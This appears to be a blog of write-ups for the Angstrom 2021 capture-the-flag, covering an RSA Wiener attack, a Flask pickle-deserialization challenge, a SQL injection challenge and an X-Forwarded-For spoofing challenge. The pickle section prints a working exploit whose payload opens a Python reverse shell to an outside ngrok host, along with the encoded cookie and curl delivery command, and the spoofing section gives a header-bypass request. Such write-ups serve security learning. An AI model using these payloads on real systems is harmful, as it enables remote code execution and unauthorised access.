Angstrom 2021 Writeups
Hello there,Angstrom 2021 just concluded,with that here are some of writeups that i happened to have a hand in solving and found them interesting.
Sosig⌗
we are given the following numbers to retreive the flag from,having no source file we kick into research on RSA encryption, this challenge has a weird length of the exponent (e),
on researching we found out it might be vulnerable to a Weiner Attack
n: 14750066592102758338439084633102741562223591219203189630943672052966621000303456154519803347515025343887382895947775102026034724963378796748540962761394976640342952864739817208825060998189863895968377311649727387838842768794907298646858817890355227417112558852941256395099287929105321231423843497683829478037738006465714535962975416749856785131866597896785844920331956408044840947794833607105618537636218805733376160227327430999385381100775206216452873601027657796973537738599486407175485512639216962928342599015083119118427698674651617214613899357676204734972902992520821894997178904380464872430366181367264392613853
e: 1565336867050084418175648255951787385210447426053509940604773714920538186626599544205650930290507488101084406133534952824870574206657001772499200054242869433576997083771681292767883558741035048709147361410374583497093789053796608379349251534173712598809610768827399960892633213891294284028207199214376738821461246246104062752066758753923394299202917181866781416802075330591787701014530384229203479804290513752235720665571406786263275104965317187989010499908261009845580404540057576978451123220079829779640248363439352875353251089877469182322877181082071530177910308044934497618710160920546552403519187122388217521799
c: 13067887214770834859882729083096183414253591114054566867778732927981528109240197732278980637604409077279483576044261261729124748363294247239690562657430782584224122004420301931314936928578830644763492538873493641682521021685732927424356100927290745782276353158739656810783035098550906086848009045459212837777421406519491289258493280923664889713969077391608901130021239064013366080972266795084345524051559582852664261180284051680377362774381414766499086654799238570091955607718664190238379695293781279636807925927079984771290764386461437633167913864077783899895902667170959671987557815445816604741675326291681074212227
We first verify that the Wiener attack can be applied:
having confirmed we can use an available Wiener Attack RSA template here
editing the script with our values and running it gives us the flag
Alternatively one could use RSACtfTool
Flag: actf{d0ggy!!!111!1}
Web⌗
jar⌗
from flask import Flask, send_file, request, make_response, redirect
import random
import os
app = Flask(__name__)
import pickle
import base64
flag = os.environ.get('FLAG', 'actf{FAKE_FLAG}')
@app.route('/pickle.jpg')
def bg():
return send_file('pickle.jpg')
@app.route('/')
def jar():
contents = request.cookies.get('contents')
if contents: items = pickle.loads(base64.b64decode(contents))
else: items = []
return '<form method="post" action="/add" style="text-align: center; width: 100%"><input type="text" name="item" placeholder="Item"><button>Add Item</button><img style="width: 100%; height: 100%" src="/pickle.jpg">' + \
''.join(f'<div style="background-color: white; font-size: 3em; position: absolute; top: {random.random()*100}%; left: {random.random()*100}%;">{item}</div>' for item in items)
@app.route('/add', methods=['POST'])
def add():
contents = request.cookies.get('contents')
if contents: items = pickle.loads(base64.b64decode(contents))
else: items = []
items.append(request.form['item'])
response = make_response(redirect('/'))
response.set_cookie('contents', base64.b64encode(pickle.dumps(items)))
return response
app.run(threaded=True, host="0.0.0.0")
Notes :
from the description we will be dealing with pickle diserialization, but easier XD
from the docker file
ENV FLAG="actf{REDACTED}"
and the source
flag = os.environ.get('FLAG', 'actf{FAKE_FLAG}')
- if successful the flag location will be in
/proc/self/environ
Solution⌗
- with the info gathered i created an exploit that generates a cookie that when insecurely deserialized will help is gain Remote Code Execution (RCE) on the challenge server
import pickle
import base64
import os
class RCE:
def __reduce__(self):
return (os.system, ("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"4.tcp.ngrok.io\",10523));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);'", ))
if __name__ == '__main__':
pickled = pickle.dumps(RCE())
print(base64.urlsafe_b64encode(pickled))
we used a python reverse shell since the challenge was running on flask hence python must be installed
4.tcp.ngrok.io
was our static,other alternive static ips can applyset up a local listener back on our machine using
nc -lvnp port
using the new malicious cookie we can set it as the cookie using curl
curl -k https://jar.2021.chall.actf.co/ --cookie "contents=gANjcG9zaXgKc3lzdGVtCnEAWOkAAABweXRob24gLWMgJ2ltcG9ydCBzb2NrZXQsc3VicHJvY2VzcyxvcztzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKTtzLmNvbm5lY3QoKCI0LnRjcC5uZ3Jvay5pbyIsMTA1MjMpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9iYXNoIiwiLWkiXSk7J3EBhXECUnEDLg==
after running the command we instantly get a reverse shell connection as nobody
cd /
grep -rni actf{.*} 2>/dev/null
gave us the flag
Flag: actf{you_got_yourself_out_of_a_pickle}
Sea of Quills⌗
require 'sinatra'
require 'sqlite3'
set :bind, "0.0.0.0"
set :port, 4567
get '/' do
db = SQLite3::Database.new "quills.db"
@row = db.execute( "select * from quills" )
erb :index
end
get '/quills' do
erb :quills
end
post '/quills' do
db = SQLite3::Database.new "quills.db"
cols = params[:cols]
lim = params[:limit]
off = params[:offset]
blacklist = ["-", "/", ";", "'", "\""]
blacklist.each { |word|
if cols.include? word
return "beep boop sqli detected!"
end
}
if !/^[0-9]+$/.match?(lim) || !/^[0-9]+$/.match?(off)
return "bad, no quills for you!"
end
@row = db.execute("select %s from quills limit %s offset %s" % [cols, lim, off])
p @row
erb :specific
end
i personally didn’t solve this my teammate j0kr did
Solution⌗
initial recon
dumping tables
retrieving the flag
Spoofy⌗
from flask import Flask, Response, request
import os
from typing import List
FLAG: str = os.environ.get("FLAG") or "flag{fake_flag}"
with open(__file__, "r") as f:
SOURCE: str = f.read()
app: Flask = Flask(__name__)
def text_response(body: str, status: int = 200, **kwargs) -> Response:
return Response(body, mimetype="text/plain", status=status, **kwargs)
@app.route("/source")
def send_source() -> Response:
return text_response(SOURCE)
@app.route("/")
def main_page() -> Response:
if "X-Forwarded-For" in request.headers:
# https://stackoverflow.com/q/18264304/
# Some people say first ip in list, some people say last
# I don't know who to believe
# So just believe both
ips: List[str] = request.headers["X-Forwarded-For"].split(", ")
if not ips:
return text_response("How is it even possible to have 0 IPs???", 400)
if ips[0] != ips[-1]:
return text_response(
"First and last IPs disagree so I'm just going to not serve this request.",
400,
)
ip: str = ips[0]
if ip != "1.3.3.7":
return text_response("I don't trust you >:(", 401)
return text_response("Hello 1337 haxx0r, here's the flag! " + FLAG)
else:
return text_response("Please run the server through a proxy.", 400)
Notes :
- this was the important part of the source
@app.route("/")
def main_page() -> Response:
if "X-Forwarded-For" in request.headers:
# https://stackoverflow.com/q/18264304/
# Some people say first ip in list, some people say last
# I don't know who to believe
# So just believe both
ips: List[str] = request.headers["X-Forwarded-For"].split(", ")
if not ips:
return text_response("How is it even possible to have 0 IPs???", 400)
if ips[0] != ips[-1]:
return text_response(
"First and last IPs disagree so I'm just going to not serve this request.",
400,
)
ip: str = ips[0]
if ip != "1.3.3.7":
return text_response("I don't trust you >:(", 401)
return text_response("Hello 1337 haxx0r, here's the flag! " + FLAG)
else:
return text_response("Please run the server through a proxy.", 400)
- inorder to get the flag we are to pass through all the requirements
let’s analyse the code to understand it better
if "X-Forwarded-For" in request.headers:
# https://stackoverflow.com/q/18264304/
# Some people say first ip in list, some people say last
# I don't know who to believe
# So just believe both
ips: List[str] = request.headers["X-Forwarded-For"].split(", ")
- from top our server will check for
"X-Forwarded-For" in request.headers
if not we trigger a 401
return text_response("I don't trust you >:(", 401)
- once we pass that we are met with another check
ips: List[str] = request.headers["X-Forwarded-For"].split(", ")
if not ips:
return text_response("How is it even possible to have 0 IPs???", 400)
our request header X-Forwarded-For
must have ips sent along with it otherwise we trigger a 400 error in the response
- if succesful we meet another check
if ips[0] != ips[-1]:
return text_response(
"First and last IPs disagree so I'm just going to not serve this request.",
400,
- in our list of ips the server will read the first ip and also the last,if the two don’t match we trigger another 400 with error message as
First and last IPs disagree so I'm just going to not serve this request.
we will get back to it in a minute
to the last part
ip: str = ips[0]
if ip != "1.3.3.7":
return text_response("I don't trust you >:(", 401)
return text_response("Hello 1337 haxx0r, here's the flag! " + FLAG)
- if we pass the previous check,the server will check the first ip if its equal to 1.3.3.7 if not we trigger
return text_response("I don't trust you >:(", 401)
for a non match ip
else if the ip matches we get our flag
… back to the second last check now , it sounds easy right? well Yes,and No,
refer to this stackoverflow question
....If you try to spoof the IP, your alleged origin is reflected, but - critically - so is your real IP. Obviously, this is all we need, so there's a clear and secure solution for getting the client's IP address on Heroku:
$ curl -H"X-Forwarded-For: 8.8.8.8" http://httpbin.org/ip { "origin": "8.8.8.8, 123.124.125.126" }
so apparently once we try to spoof our ip to 1.3.3.7 to meet the requirement,Heroku will append our original ip address to the request, so we fail the ip match,
after much research we (me and j0kr) came across an article detailing a solution to bypassing the heroku security measure…
it involved sending the X-Forwarded-For
headers twice,
as heroku will only append our original ip to the first header, and the server will append our set ip at the end of our original ip as appended by heroku hence passing all the checks to a succesdful ip spoof,getting us the glag
so sending our request as
┌─[@parrot]─[~]
└──╼ $curl -H "X-Forwarded-For: 1.3.3.7" -H "X-Forwarded-For: 2.2.2.2, 1.3.3.7" actf-spoofy.herokuapp.com
Hello 1337 haxx0r, here's the flag! actf{spoofing_is_quite_spiffy}
gets us the flag
Flag : actf{spoofing_is_quite_spiffy}
PS: More Reading